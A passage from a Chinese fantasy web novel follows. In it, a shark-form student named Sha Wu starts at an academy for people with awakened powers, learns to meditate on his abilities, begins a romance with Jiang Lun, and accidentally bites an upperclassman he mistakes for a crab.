班级群里一群人刚才还在说搬家累死了，家务干不动了，宿舍里要添置多少东西但动一根手指头就要没命了之类的话，看到沙伍趴荷叶的照片，顿时嗷嗷叫着一条接着一条的语音问位置。 李老师在其中反对的话语显得异常单薄。 十分钟后赶到的李老师看到的是趴在荷叶上、趴在荷塘里的一群妖魔鬼怪。 不等他发飙，学校的园丁和保安已经冲了过来，疾言厉色：“你们是哪个班的学生！” “故意毁坏学校公共财务是不对的知不知道！” “立刻！马上！下来！” 李老师试图解释：“这是我们班的学生……” “老师也在？” “老师带头？” “这位老师是哪个学院教什么的？” 至此，青龙学院一年十班，除了还在医院里躺着的鲤鱼同学和因为不良于行只能待在宿舍养伤的三位同学，全军覆没。 “最气人的是，臭鲨鱼竟然第一个跑了！” “明明他才是第一个干坏事的！” “那小脸大眼睛朝着人眨巴一下，谁能狠得下心不放他回去休息？” “小少爷还没动用钞能力！” “特喵的，老子要从今天开始减肥！我也要我见犹怜！” “你别怜了。沙伍两吨的都在增重，你一个一百斤都不到的减什么肥？” “呸！沙伍是虚胖，我是扎实！” 针对沙伍的讨伐一直延续到第二天正式开学。 同学们一个个顶着没睡好的黑眼圈，面容都比以往多了几分阴影。 沙伍跨进教室的脚步往后退了半步，对刚刚看到十班单独的海滨高级美术馆一样的白色教学楼的震撼，变成了：逃！ 然后是：异能还用不出来，逃也逃不过，蒜鸟~ 等沙伍跨进教室的时候：老子又没做错什么事情，反了天了，敢这样看伍哥！ 狭路相逢勇者胜。 当沙伍的气势远比其他人强的时候，就轮到其他人反省自己有没有做错。 一秒。 反省过了，没错。 “沙伍！” “干嘛！” “你最后一个到！” “我又没迟到！”他明明掐着点到的。 同学们看着他水嫩嫩的白里透红的皮肤一个比一个气：“你没写检讨吗？” “写了啊。”沙伍看了看教室里唯一空着的第一排讲台下面的位置，毫不畏惧地坐了过去，开始拉仇恨“你们一夜老三岁，是为了写检讨？不至于吧，区区一张检讨不是分分钟就能写完吗？” “哈？检讨哪有这么好写！” “要深刻反省自己的错误……老子有什么错？！” “还不能直接从网上抄！” “他丫的还把网给断了。我刚给网店下单让人工帮写，钱都付了，人家也给写了，结果我收到的时候我自己的已经写完了啊！” 沙伍感觉由同学们的怨气凝结成的扭曲的和污染不一样的某种可怕的东西，神情略微老实：“啊，我说怎么不让你们回宿舍，原来是一直在憋检讨？早说啊，人工代写服务，伍哥也可以提供的。咱们熟人，价钱好说。” 同学们并没有感觉到他的老实，甚至觉得他态度异常嚣张，纷纷撸袖子想要给他个教训，就见老师进来了。 新学期第一节课是《异能基础应用一》，拥有蓝色长发，长得像漫画王子，体型纤细的老师语气温文尔雅：“在过去的学习中，同学们已经对自己的异能有了一定的熟悉，并且掌握了一定的应用技巧。接下来我们需要学习的课程是怎么应用更多的异能，下面老师来示范一下，异能值释放10%的状态。” 第39章 星河 使用异能，持续使用异能，稳定持续使用异能，是三个不同的概念。 在实践中，需要长时间的练习。 像沙伍这种菜鸟，压根就不知道自己异能的10%在哪里，还在琢磨10%还有不一样的呢，就看到刚才体型纤细的老师，一下变得高大威猛。 “这是10%的异能值用来强化整体身体机能的效果。每个人的异能值等级不一样，类型不一样，可以发挥出的效果不一样，但用来强化身体都是通用的。” 十班只有26人，教室却比一般的阶梯教室还大，像一个大仓库，老师站在中间讲课，声音大一点都有回声。 不过这一刻，返回的声音像是敲到了他们心里。 很多学生的父母亲人都是异能者，他们也曾经接触过这方面的知识，但是效果绝对没有老师从一名纤细王子一下变成肌肉壮汉这么炸裂。 “我们学院大部分都是水系或者水系相关异能者。我们十班的完全转化形态更是依赖水，非常依赖地形。如果在大海河流以外的地方遇到强敌，强化身体就是非常有效的应对手段。”老师展示完了之后，给了同学们一段自己尝试的时间。 还不被批准使用异能的沙伍，只能看着同桌的小丑鱼一下长高了一截：“你踢到我脚了。” 原本和沙伍差不多高，但沙伍虚胖后比他矮了0.5厘米的小丑鱼并没有收回脚，很小人得志地把脚继续往沙伍脚上踢了踢：“哦，腿长，没办法。” 作为战斗净化者，他对于异能的操控本来就很细腻，对自身的异能更加熟悉。 加上他的异能值等级低，操控起来更加容易，全班他是第一个试验成功的。 异能值等级越高，操控越难。 如果是未成年的小朋友，自己的身体还在生长发育阶段，都不能说可以完全操控，更别说是异能这种更加危险的能力。 所以哪怕绝大多数异能者很早就觉醒了异能，但对于异能真正的学习使用是在进入大学后，也就是身体成熟之后。 老师注意到这边的动静：“花杨蓉做得很好，不过不可以欺负同学。其他同学可以在课后好好练习。接下来，老师给你们展示一下另外一种10%的强化身体。这是10%的全面强化。”话落，他的身形突然消失。 “嚯！” 众目睽睽之下，竟然没人发现老师是怎么不见的。 只有少数几个人的视线带着目的性地张望，但也带着茫然。 沙伍也没看清楚，但是他闻到了一点点异能的气味，循着味看过去，果然看到了从教室外面进来的老师。 老师有些意外有人能跟上他的速度，笑容不变：“这是10%用来强化速度。提醒一下，高速对于身体器官的负担很重，不要轻易尝试。你们如果想要练习，可以先从强化手臂开始。” 沙伍突然发散思维，想到姜纶的长发。 钻石小少爷的强化10%，强化在了头发上？ 老师拍了拍手，把同学们想要跃跃欲试的注意力拉回来：“好了，我们来讲怎么做到这一点。” 老师长得帅，技能更帅，同学们集中注意力听了半天课，沉浸在马上就要秒天秒地秒空气的美梦中不可自拔。 沙伍稍微清醒一点，也就是一点，回宿舍午饭的时候眼睛亮晶晶的，脸颊还微微泛红。 等吃完饭，姜纶才问他：“上课上得这么激动？今天上午不是异能基础应用？”感觉这门课很枯燥啊。 沙伍就把老师上课怎么有趣叭叭叭一通说。 去拜访过所有老师的梁管家说道：“这门课的任课老师是潘辰星老师，他的异能偏体质，10%的身体强化效果在他身上表现得很明显，一般人达不到他这种效果。” “啊？”沙伍失望，又疑惑，“潘老师的觉醒体是什么？异能偏体质的话，意思是他本来就是走身体强化路线？” “对。你们潘老师的觉醒体我记得比较特殊，是鲛人。他原先驻扎在朱雀城南海方向的监测点，现在应该是七级马上要升八级了，回学校一边教书一边沉静下来突破。”梁管家找出潘老师的照片，又把当年他还在青龙学院就读时候的一段视频资料放出来。 姜纶扫了一眼，不感兴趣。 “鲛人？美人……鱼？”沙伍刚想说一班有个姑娘的异能是觉醒一条鱼尾巴，瞧着就是一条美人鱼，看着视频里漂亮纤细的少年瞬间全身覆盖鳞片，一排尖利如刀刃一样的骨刺从脊椎和手肘手腕长出来，完全是一个人形兵器。 不，人形都看不太出来。 姜纶看到这个视频倒是有些印象：“哦，是他啊。之前是不是考虑过吸纳他到队伍里来？” “是有过这方面的考虑。不过他到现在还没突破到八级。”梁管家的意思很明显，潘辰星想要加入他们的队伍还是差了点，但，“潘老师对异能的运用还是很厉害的，他对自己异能的开发程度相当高。同样的异能等级，潘老师几乎可以完全碾压。他也确实很适合教书，没有太多花里胡哨的技巧，你们可以从他身上看到将基础运用到极致的成果。” 沙伍把这段不到一分钟的视频重新看了一遍：“基础一定要打牢。” 视频中的潘老师明显要更年轻，在海中的速度快到不可思议，变异等级不低的变异鱼在几十秒内就被切碎。 很帅！ “锻炼身体，提升体质，让身体能够承受更高的强化程度。更精细地操控异能，将自己的每一分异能都用到位。”这是沙伍从潘老师的课堂上总结出来的宗旨。 道理谁都懂，但谁有耐心真的做到？ 而且这些内容对于沙伍来说都是空中楼阁，迄今为止他所有的异能运用全是基于本能。 他连自己的异能到底在哪儿都不知道，更别说让异能强化这里强化那里了。 姜纶吃饭心不在焉，看沙伍吃完了，伸手拉他上到二楼的书房，把门一关，抱住了就亲。 沙伍被亲得呼吸都乱了，腿像是变成尾巴，根本没法支撑住身体，靠在姜纶怀里，任由他为所欲为，好不容易空出嘴巴：“冷静……一点，别一会儿又要拆房子。” 他早上出门的时候，梁管家才找了人来修房子呢。 姜纶一听，顿时停下动作，气馁地把自己的手和沙伍的手从对方衣服里拉出来：“跟你商量正事。” “什么正事？”沙伍感觉被姜纶的气息包围，脑袋晕晕乎乎的根本不知道自己在说什么。 姜纶只能微微松开怀抱，打开窗户。 秋日里偏凉爽的风吹进来，才算是让沙伍找回了一点脑子：“正事？我们之间不全都是正事吗？” 姜纶很喜欢他的说法，低头又重重亲了一口：“我的意思是，我们都这样了，是不是先把关系确定下来？”先结婚。 “哦，是的。”不过他们都已经这样了，好像再郑重确认一遍恋爱关系没什么必要？ 当然，男朋友的意见最重要。 沙伍看着自家闪闪发光的男朋友，怎么看怎么喜欢。 姜纶没想到沙伍会这么轻易就同意，在短暂的愣神后，马上整个人都在放光，把沙伍抱起来就往上抛。 沙伍完全没想到自己会被抛起来，还以为有生之年会撞天花板，还好姜纶非常有分寸，其实没抛太高。 抛了三下，姜纶又把人抱紧了猛一顿亲，差点又要开屏蔽器，火急火燎地把人放开，直接从窗户跳下去，把墙边的一株粉色月季砸出一声尖叫。 沙伍感觉晕乎乎的，靠在窗边止不住地笑：“这么开心……”确实很开心。 他一点点蹲下，改成躺在地板上，一边笑一边满地打滚。 哎呀，就是很开心~ 爬了满墙的粉色月季花从窗户里爬进来，长长的藤蔓把沙伍一下卷起来，好几朵花齐齐冲着他，把被姜纶踩断的藤蔓甩到他身边。 没有声音，但骂骂咧咧。 沙伍抬手把花朵挨个摸摸：“对不起嘛。” 月季花骂骂咧咧地退走，但把二楼的沙伍送回到四楼的房间里，直接丢到床上，还给盖好了被子，等到了上课时间，又把沙伍从床上提溜起来。 沙伍坐在小飞车上打着哈欠。 他就说他归所有人管，包括家里的变异植物都能管他。 离开孤儿院后，伍哥的地位一落千丈。 也对，谁住的宿舍都没他住的变态。 七级的老师还被他们嫌弃实力太低，明明高级异能战士的数量非常少。 咦？难道宿舍里人均八级？ 那他的存在不是大大拉低了宿舍的平均水平？ 沙伍顿时觉得无法接受，从小到大，明明他才是那个拉高班级平均分数线的人。 伍哥必不能输！ 沙伍学习起来本来就很专心，这一下更是肉眼可见的专注。 不能练习异能，他就努力锻炼身体，提升体质。 只要他愿意，多的是人给他提供最专业的锻炼计划和指导。 仅仅十天后，他的身体就变得壮实了一些。 哪怕外形看上去还是一样瘦，但不会让人觉得弱，体重甚至一下长了两斤。 趁着吃完饭消食遛弯，他悄咪咪往姜纶背后一靠，抬手比划了一下两人的身高。 姜纶随便他靠，等他比划完，反手勾住他的双手就把人背起来。 “哈哈哈！放我下来，换我背你！”沙伍以前很少有跟同龄人这么玩闹的机会，简简单单地背来背去的游戏都开心得不行。 小风站在窗口往外面看，又看了看身边的梁管家。 梁管家：“干嘛？是不是学小伍，准备说什么奇怪的话？” 小风满脸正直：“怎么能是学小伍？”是她自己想说一些奇怪的话，“作为管家。” 梁管家点头：“嗯。” 小风继续，双手握拳抵住下巴，两眼泪汪汪地看向外面：“你看到外面的情况，不应该说一声‘太好了，好久没见到少爷这么笑了’？” 梁管家嘴角抽抽：“不应该。” 小风追着快步离开的梁管家：“哎哎哎，你别跑啊。要不然我们打一架？你要是输了，就说一遍？” 梁管家跑得更快了：“谁跟你打？我事情多的是。大小姐马上要来了，我得提前准备。” 小风瞪大眼睛：“大小姐要来了？什么时候？” “具体日期还没确定，不过她说十月份会有时间。你要是有空，就去看看哪里适合盖新房子。”最近的年轻人真是又没眼色又有能力，还是赶紧让他们去干活。 沙伍还不知道他答应的事情和以为的不一样，沉浸在谈恋爱的甜甜蜜蜜里。 他现在还不能使用异能，对于异能的相关练习就是通过冥想，去感受体内的异能。 庞大的宿舍周围没有人，入夜后格外安静。 打开的窗户吹进比白天凉得多的风，带来馥郁的蔷薇花香，混合着草木的清新气息。 有细小的虫鸣，比起之前的每一天都要微弱，显然留给这些虫子的时间不多，它们的季节即将过去。 夜色渐浓，星光从零星几点，变得密集闪耀。 他不是在房间里冥想吗？ 怎么能看得到星星？ 杂念一起，他瞬间从冥想的状态中退了出来。 “啊？”刚才那些星星，难道就是他体内的异能？ “我去。”他小声惊呼，双手按住胸口，“我的身体里藏着一条星河！” 他果然是要称霸全宇宙的天选之鱼！ 他心情激动，想要再进入冥想状态，却怎么都做不到，最后一晚上没睡着，在听到宿舍里其他人的动静后，迫不及待跳楼……被窗户外的月季花接住，送到一楼，欢天喜地：“祁叔~林大哥~林二哥~我厉害了我~” 厨房总是第一个起床干活的。 祁大厨正准备去市场买菜，看到早起的沙伍，把人往小货车后排一丢，吩咐：“阿大，看好了，别让人掉下去。阿二，你去把小少爷菜地里的菜偷了。” 沙伍还没去过农贸市场，好奇得眼睛都圆了。 阿大操控着面板给他系上安全带：“早上会有点冷哦。” “嗷，我不怕冷。我的内心熊熊燃烧！”沙伍相当自信，把昨天晚上进入冥想后看到的星河炫耀了一番。 祁大厨和阿大都相当平静。 “哦，小伍察觉到异能了？” “得有半个月了吧？” “速度有点慢。” “小伍觉醒就慢，异能应该就是个慢性子。” 沙伍火热的心一点一点冷下来：“不是星河？” “不是。那是分布在你身体里的异能。”把操作交给自动驾驶，祁大厨把驾驶位掉转了方向，和后排座的沙伍、阿大面对面，比划出一根手指：“学习异能的第一步，熟悉自己的异能。” 沙伍抢答，并且伸出两根手指：“第二步，使用自己的异能。” 祁大厨把他的两根手指摁下去：“第一步里包括知道自己的异能在身体里的情况。大灾变后，地球上的每一种生物体内都存在异能，差别只是异能值的高低。绝大部分我们生活环境中的动植物，包括人类，都无法觉醒异能。能够表现出异能的，必须异能值足够高。” “嗯。” 清晨的校园里几乎没有人，路灯还亮着，天空发白。 祁大厨摆了摆手指：“这是现在比较流行的理论，但不能解释所有情况。譬如说你，作为S级异能值，你应该出生起就能觉醒异能。婴幼儿对身体的掌控力是最低的，异能也是身体的一部分，想藏都藏不了。理论上，每个出生的婴儿都会进行异能检测，也不知道你是怎么成为漏网之鱼的？” 一个S级异能值的孤儿，多的是人抢着要收养，也不知道沙伍是怎么会进入到收容普通未成年的孤儿院里的？ 在发现沙伍之后，他们耗费了大量的精力去彻查，结果发现一切正常。 根据记录，沙伍出生在东湖市建立之初。 东湖市是一个相当年轻的城市。 十八年前，东湖市刚从一个普通的监测点，扩张为城市并且大规模迁入居民还没满十年，处于当年人类和变异生物争夺生存空间的第一线。 广义的青龙城是一个省的概念，省内除了少量山地之外，都是非常适合动植物生长的广袤平原，且水网密布。 其中具有危险性的变异生物又多又危险。 类似如今朱雀城每年面临的变异虫潮，曾经的东湖也是年度必定经历的节目。 除了虫潮，还有兽潮。 沙伍的双亲都是孤儿，结婚后被东湖对于新居民的优惠政策吸引，成为东湖最早的几批市民之一。 在沙伍出生后不久，两人就双双死于一次兽潮。 沙伍也被转移到了当地的孤儿院。 他们怀疑过沙伍在那种混乱中，会不会被错误登记，但他们对比了那对夫妻的照片，确实和沙伍长相相似。 至于更精确的生物样本，那确实没有。 姜家都调查不出来的事情，沙伍这么一个按部就班在孤儿院长大的人就更加不知道了，还在低头沮丧自己看到的不是星河。 阿大安慰他：“异能到现在都还没研究清楚，每个人的异能都不一样。你不是刚学了鸭老师的课吗？鸭老师研究的理论就完全是基于他自己的异能。等你大学四年的基础打牢后，你也可以针对你自己的异能进行研究。任何一个能够突破到高级的异能者，都必须对自己的异能有充分的认识。” 沙伍的沮丧来得快去得也快，无非是上一秒觉得老子马上就要称霸全宇宙，下一秒认识到自己只是普罗大众中的一员。 这样的落差，他一天要经历八百回，习惯就好。 “那我该怎么做呢？老师还没教到下一步。”同班同学之间的进度几乎是公开的，经常相互菜鸡互啄……交流学习经验，分享学习成果。 进度快的如小丑鱼，高中时期就已经可以内视，现在经过老师的指导和不断的练习后，已经能够很丝滑地进入到内视状态。 进度慢的，到现在还有一半同学还没能内视。 老师教的冥想的方法很有用，坚持练习能够让躁动的异能更加安静，让人更好的控制异能，假以时日做到内视并不困难。 阿大很耐心：“你现在内视看到的星河，每一颗星星就是异能存在你身体中的一个‘窍’。你不是看过武侠片？” “嗯。你的意思是说，‘窍’就是武侠中的穴位？” “类似，但肯定不是同一个东西。这个比喻只是方便你理解。当然，如果你更加喜欢，可以继续用星河。” 沙伍精神亢奋，语气坚定：“我还是觉得星河更帅。” “那就继续用星河。”阿大从善如流，“这些星星有大有小，储存的能量也有多有少。你下一步要做的，就是在使用异能的时候，观察你能够调用的异能来自哪些星星，哪些星星的能量无法被你调用。” “嗯，然后呢？” “然后你就会发现没法调用力量的星星太弱小了，你得不断通过各种方式把小星星变大，加深和小星星的联系，才能获取到小星星的能量。” “嗯，再然后呢？” “再然后就是伴随你使用异能越来越频繁，你和星星之间的联系、星星和星星之间的联系会越来越紧密，最后星星之间就会形成稳定的联系通道，从散落的群星，变成一条真正的‘河流’。” 沙伍听得眼睛里都是星星：“到那时候，我是不是天下无敌了？” 敞篷小货车停在了农贸市场门口。 祁大厨抬手扇了一下他的后脑勺，没好气：“到时候你就七级，刚刚明白自己的异能是个啥。还天下无敌？去，进去和今天的食材打一架，看看你能不能打赢。” 沙伍假装被打痛得捂着脑袋：“我吃的食材，我肯定打得过。” 然后他就被提溜着买了六级的鸭肉、七级的蘑菇，剩余的三四五级的食材好几大包。 沙伍陷入深深的自我怀疑：“我每天吃这么厉害的东西？” “以前你身体亏空太严重，像是个破口袋，选用的食材比这些更厉害。现在你的破口袋补好了，食材选择的范围大了不少。”祁大厨发出一名厨师兼营养师兼家长，关于孩子难带的感慨。 沙伍的眼睛更亮：“所以我今天能吃烤鸭？和鸭老师的味道一样吗？” “别什么都想尝尝。”阿大温和地纠正他的想法，“想想你咬院长掉的牙，不是刚长好？” 沙伍下意识捂嘴，又嘴硬：“院长是无敌的夜师傅，鸭老师看着比较好吃。” 阿大试图接入小鲨鱼频道：“……鸭老师是无敌的光明教皇，不可以吃。” 沙伍接得很快：“我是无敌的光明圣子！” 第40章 十号楼 光明圣子并不无敌，回家就被早起打理花园的薛春跟着变异月季一起修理了一顿。 被姜纶砸伤的粉色月季被进一步修剪。 薛春拿着剪下来的枝条，让藤蔓捆着沙伍送到他的阳光房里。 沙伍被几根带着倒刺的枝条捆了五分钟，密密麻麻锯齿状的叶片刚才就贴着他的肉，现在老实得跟个鹌鹑似的，看薛春整理枝条：“这些东西剪下来的还有用？” 薛春手上拿着修枝剪，咔咔咔一顿剪：“高级变异植物哪怕修剪下来的东西，在人类聚居区都必须经过特殊处理，不能随便扔掉。” “是。”沙伍一听，立刻严肃起来。 薛春倒只是随口一提：“正好有条件，要不要学学怎么扦插月季？” “学！”沙伍一向勤奋好学，“高级变异植物的培育方式和普通变异植物一样吗？” “如果只是想要保留外观的话，差不多。想要保留变异等级，就不太容易了。”薛春递给他一把修枝剪，取了一根枝条，示意他看，“叶子的基部，如果是春天，会长出芽点，扦插的话，保留两个芽点。芽点有生长素，能够促进植物生根；再剪掉一半的叶子，降低蒸腾作用，防止干枯。现在这个季节没有芽点，就需要我们给它提供一些……” 沙伍紧急喊停：“薛哥，我……剪刀是不是坏了？” 他手上的修枝剪卡在叶片上，怎么都剪不下去。 薛春眼里露出一丝逗小朋友的笑意：“没坏。给你的那把是新的。” 沙伍皱眉，不信：“新的怎么连一片叶子都剪不动？我要用你的那把。” 薛春把自己手上的给他。 沙伍接过来，还是剪不动。 薛春把剪刀拿过来，咔咔两下，枝条叶片轻松修剪，对着他微笑。 沙伍感觉不可思议，随即脑子转过弯来：“难道这也是异能的运用？” “对。你们现在学的是用异能强化自己的身体，这个是用异能来强化外物。”薛春扬了扬手上的修枝剪，“我就是用异能强化了一下修枝剪。嗯，这把只是普通的修枝剪，不能容纳异能，也没有对异能的增幅作用。与其说是强化修枝剪，不如说是用异能给剪刀重新制作了刀刃。” 哦，那是另外的、再另外的层次。 小鲨鱼在军训的时候接触了一些常用的基础异能武器，热武器和冷兵器都有，运用场景和使用效果各有不同。 异能武器他都还不太明白，这种精细的异能操作还是留给将来的自己吧。 沙伍很快就放弃了不切实际的目标，看着时间差不多了，赶紧上楼洗漱：“小粉，送我回房间。” 粉色月季懒得搭理他。 沙伍就去扒拉它。 粉色月季像是终于受不了小鲨鱼的撒娇，把人卷起来放到他房间里。 一直在背后关注着的薛春看得欲言又止，走到月季花墙下，抬手检查了一下。 这个季节的月季花量不大，整片墙是油亮的墨绿色，夹杂着几朵开放程度不同的花。 培育驯化高级变异植物很难，甚至可以说运气占了其中的大多数。 薛春显然是其中运气很好的那种，培育成功了好几种高级变异植物，只是没人知道他究竟失败了多少次。 高级变异植物太容易产生污染了。 低级和中级的变异植物，它们的生存和攻击纯粹依靠本能。 它们的污染基大多自于生存的自然环境。受到污染后，它们的攻击手段局限于植物的本能，顶多就是癫狂一些，但作为一株植物，它们不太可能撒丫子追着人殴打。 高级变异植物则有了思想，然后异常容易产生污染。 这种污染是源于自身的，随时可能会产生，随时可能会狂暴。 薛春翻看了一下记录，发现上次对这些变异植物进行净化，还是刚搬过来的时候。 “怪不得你们喜欢小鲨鱼。”他说完，忽然愣了一下，发现自己也很久没接受净化了。 沙伍完全不知道自己的影响，能够使用异能后，继续每天按部就班上课、打架、遛弯，被叫家长。 青龙学院每年招收的十班都是完全转化异能者，拥有单独的教学楼，被其他班级的同学称之为十号楼。 现在这段时间，大四的学生去西部进行实习，所以十号楼里只有一二三年级的三个十班。 教室空间非常富余，约谈甚至能放在一个生态池里。 池子里，一只一米多长的螃蟹的壳上有一道弧形的凹坑，像是人为在上面划了一道虚线。 已经缩水到4米5的小鲨鱼想要凑过去，被一只体长两米的大螃蟹用钳子抵住：“干嘛？你还想咬一口？” 小鲨鱼摆摆尾巴：“对不起，我不是故意的。” 他还以为差不多一个月没去外海遛弯，螃蟹又长好了呢。 谁能想到一口咬到了学长？ 学长长得那么好吃，能怪他？ 被叫下池子比对牙印的小鲨鱼，感觉自己的眼睛里写满了真诚的歉意。 螃蟹家长只觉得大白鲨的黑豆眼里全是杀气，举起的钳子咔咔作响：“老师，必须严厉处分他！” 李老师非常头痛：“这位家长冷静一点。” 螃蟹家长：“冷静不了！” 李老师：“冷静。” 螃蟹家长：“不……呃！” 大螃蟹被一只水形成的巨手捏起来甩了甩，竖起的眼睛都放平了。 梁管家微笑：“好了，家长冷静了。我们家小鲨鱼还不能准确分辨人和变异生物，肯定不是故意去攻击同学。误伤了同学，我们非常抱歉。这方面，我们会更加努力教导。现在事情已经发生，希望这位家长和同学能够让我们为自己的错误负责，接受我们的道歉。” 忽略他的动作，只听他的话，会感觉他的态度很真诚，但……小鲨鱼用翅尖小心翼翼戳了戳螃蟹学长：“学长，对不起。我真的不是故意的。我之前还误捕了夏华学长……” “没事，你也不是故意的。”螃蟹学长只是惊吓过度，对学弟多少有一点包容心。 不包容也没办法，事发地点在外海，别说已经超出了学校的管辖范围，就是青龙城的管辖范围都超出了。 他是昨天晚上喝醉酒，也不知道怎么就自己一个醉蟹游那么远，酒醒的时候差点吓死，只敢躲在石头底下，想要联系老师和父母，又发现不在服务区内。 接着就是石头被翻起，被学弟咬了，跟其它猎物一起放进泡泡带回了学校，被人在厨房里挑拣出来…… 啊，往事不堪回首。 他一定是还没酒醒。 这届的学弟怎么这么凶残，他好歹也是个大三的学生，随随便便被学弟KO，不是显得他这三年学白上了嘛。 夏华一只软脚虾被误捕也就误捕了，他可不是软壳蟹啊！ 小鲨鱼又瞅瞅他的后背：“学长，你的壳凹进去的地方是不是要做个钣金，重新恢复形状？” 钣金？！ 这是他的螃蟹壳，不是什么飞车壳！ 螃蟹的眼珠子一下就竖了起来，看到近在咫尺的小（？）鲨鱼，又把眼珠子横着放倒，语气平和微死：“哦，不用。等我下次蜕壳就能长好。” （被动）冷静下来的螃蟹家长接受了道歉，内心还是憋屈。 等李老师领着小鲨鱼和梁管家离开，螃蟹家长的眼珠子瞬间竖起来，把钳子对准儿子的班导：“章老师，你就这么看着一年级的家长这么欺负我们？” 章老师双手一摊：“那有什么办法？情势比人强。” 实力到了一定程度，得庆幸人家还愿意讲点道理。 自己的学生出了意外，他作为班导当然有责任也有点生气，但，“先解释一下你怎么一个人去外海的吧？我应该明令禁止过？” 一米多的小螃蟹顿时口吐白沫，捧读：“啊~我不行了~我昏古去了~” 章老师头疼：“……行了，收起你戏剧社团的那一套。” 沙伍离开约谈的教室后，迎来了真正的挨批时刻。 李老师恨铁不成钢：“怎么到现在还分不清人和变异生物！” 沙伍挠头：“没想到那儿会有人。今天就是跑礁石区玩，还说这只螃蟹怎么长得不太一样，特别肥美的样子。” 梁管家的语气显然比李老师要温和：“那你什么时候发现是个人的？” 沙伍比划了一个很混乱的手势：“我咬了一下，他说‘啊’。” 他抓了那么多变异螃蟹，从来没有一个螃蟹“啊”。 李老师的脑子比他的手势更混乱，刚想摆手叫他走，突然想到一个问题：“等等，你一个人去的外海？” “对啊。”沙伍不觉得这有什么问题。 李老师：“……你怎么能一个人去外海！” 军训由一堆老师看着，学生们也就是在学校海湾和内海的边界处待着，还今天这个意外明天那个意外。 沙伍从李老师的态度，看出他的行为不太对，虽然不明白哪里不对，但还是试图解释了一下：“今天不是周末？我就游得稍微远了一点点，就在葫芦口那里。” 开学前他还能在学校的海湾里有不错的收获，开学后海湾里人比鱼多，抓错几次后，他就去内海了。 虽然内海远了点，但人少了很多，不容易错抓人。 沙伍看大喘气的李老师，真心实意地不明白：“为什么不能去外海啊？螃蟹学长不也在外海？” “因为外海很危险。”还能是什么理由？这不是显而易见的吗？ 一个连一级异能战士都不是菜鸟，去外海不是送死吗？ 那三年级的螃蟹也是不要命，也不知道一个两个的哪来那么大的胆子。 李老师看着人形简直是颗小白菜的学生，感觉小孩儿没被咔嚓一口，简直是奇迹，顿时把矛头对准学生家长：“沙伍不懂，您作为学生家长也不懂吗？外海是什么地方，怎么能够由着他一个人？” 梁管家拍拍李老师：“老师，借一步说话。” 沙伍看着梁管家拉着李老师走开十米远，很好奇他们会讲什么，可惜一个字都听不到，隐隐闻到梁管家的异能的气味，不由得撇撇嘴。 “就你们会用异能。”不就是用异能张开一个结界嘛，他也会套给自己套个膜，但看着没有无形的结界那么帅。 他把膜像气球一样，一会儿捏个小鲨鱼，一会儿捏个螃蟹。 “还玩什么呢？回去了。”梁管家过来，一指头戳破。 “哦。”沙伍走到梁管家身边，小眼神一眼一眼地瞅过去。 梁管家置之不理，提醒他：“这几天休息时间都别乱跑，非得要去外海的话，让小风接送。她速度快。”还闲。 “这几天怎么了？姜纶也看不到人。”也就每天他睡着了，过来鬼压床。 梁管家坐上飞车，等沙伍上车后看了看时间：“这个点，小少爷在家。今天约了裁缝过来量体。” 沙伍不怎么走心地“哦”了一声：“为什么还要裁缝来量体？身体数据，体检报告上不是很详细吗？” “某种行业传统？”梁管家笑笑，“人有钱了，就得做一些跟别人不一样的事情，来显示自己的地位。” “哦~原来是这样。”沙伍跟梁管家有一搭没一搭聊天，回去之后发现竟然量体裁衣还有他的事情，一脸茫然地被拉着划拉了好半天。 姜纶在边上看着，安抚男朋友逐渐暴躁的情绪：“来，看你最喜欢的海豚纪录片。他们干他们的事情，不会影响到你。” 抬胳膊抬腿的，怎么可能不影响？ 沙伍看了一眼姜纶，扭头：“哼。” 沙伍被一个裁缝两个助手围着，姜纶想要拉个手都没办法。 这个距离下很难说什么情意绵绵的话。 姜纶纠结半天，只能换成比较无害的话题：“今天怎么游去外海了？” “海湾人多，我就想着游远一点，顺路去看看夏华学长。在那一片找了一路，没见到人，才想起来开学了，学长的打工结束了。然后就游出去了，没游很远，就在门口抓点螃蟹。” 门口=葫芦口。 螃蟹=学长。 更远的外海，没有院长陪同，他肯定是不敢一个人去的。 结果辛辛苦苦抓了半天的变异螃蟹全都赔给了螃蟹学长。 也不知道螃蟹学长要那么多变异螃蟹干什么，吃吗？ 沙伍跟姜纶碎碎念两句，又自我检讨：“我以后抓螃蟹，一定先问它们一声，不会吱声的再咬。算了，不咬了。本来在军训的时候，我还以为GET到一点点人类觉醒体和变异生物之间的差别，结果在外海，感觉变异生物和变异学长全都是一样的。是不是整个外海都是污染？所以闻着味道差不多？” 姜纶本来就是跟他闲聊，听到说到这里，突然皱眉：“一样？” “就和我抓的变异螃蟹的气味闻着大差不差。当时翻石头看到学长，还以为抓到了一个大货。”沙伍懊恼到一半，突然察觉不对，“有什么不对吗？” 姜纶微微皱眉：“有点怀疑。我去跟梁伯说一会儿话，你一个人在这儿行吗？” 沙伍看着围着他忙碌的裁缝和助手，以及排队等在后面的也是什么设计师和助手之类的起码二十多号人：“啊？行。” 姜纶急匆匆走了。 等房门重新被关上，整个巨大的房间内传出松了一口气的声音。 二十多人一起发出的声音，大到让他们自己都吓了一跳。 沙伍不理解，感觉有些口渴，问：“你们想喝点什么？” “啊，不用麻烦了。” “不麻烦，我们不渴。” “楼下休息室有准备。” 目前整个宿舍的四楼，是沙伍一个人在用。 他不像姜纶那样真的需要那么多空间，这次直接就使用了一个空置的大房间，并没有再另设休息室。 不过沙伍话说完没多久，小风就敲门进来，把等候的工作人员请去了隔壁休息室，只给沙伍递了一杯水：“隔壁增设了一间临时休息室。” “谢谢小风姐。”沙伍喝了一口水，“白开水。我不能喝一杯酸酸甜甜的小饮料吗？” 小风把水杯交给家政机器人拿远：“不能。你今天的食谱已经定好了，想要喝小饮料起码等明天。你敢乱吃东西，小心祁叔找你拼命。” 沙伍很明白家里人为他付出的劳动，也很尊重他人的劳动成果，就是：“能不能给我来几口稍微有点味道的东西？” 他今天在外海忍得很辛苦，才没直接炫一个螃蟹。 小风忍不住笑出声：“你自己去跟祁叔说嘛。” “我不敢。”本来带孩子就烦，带小鲨鱼更烦——小鲨鱼本鱼不敢吱声。 说到这里，这一组的裁缝结束了工作，跟他们小声招呼了一下，就离开了房间。 趁着下一组工作人员还没过来的空当，沙伍赶紧小声问：“刚才梁伯伯去十号楼保释我，悄咪咪跟李老师说了什么，还不让我听。他们肯定在说我，有什么是我自己不能知道的？” 小风明显知道，但她不说：“你问小少爷嘛。” 沙伍又是撇嘴冷哼：“那也得见得到他人啊，都不知道他最近在忙什么。” 小风愣了一下：“你不知道？” 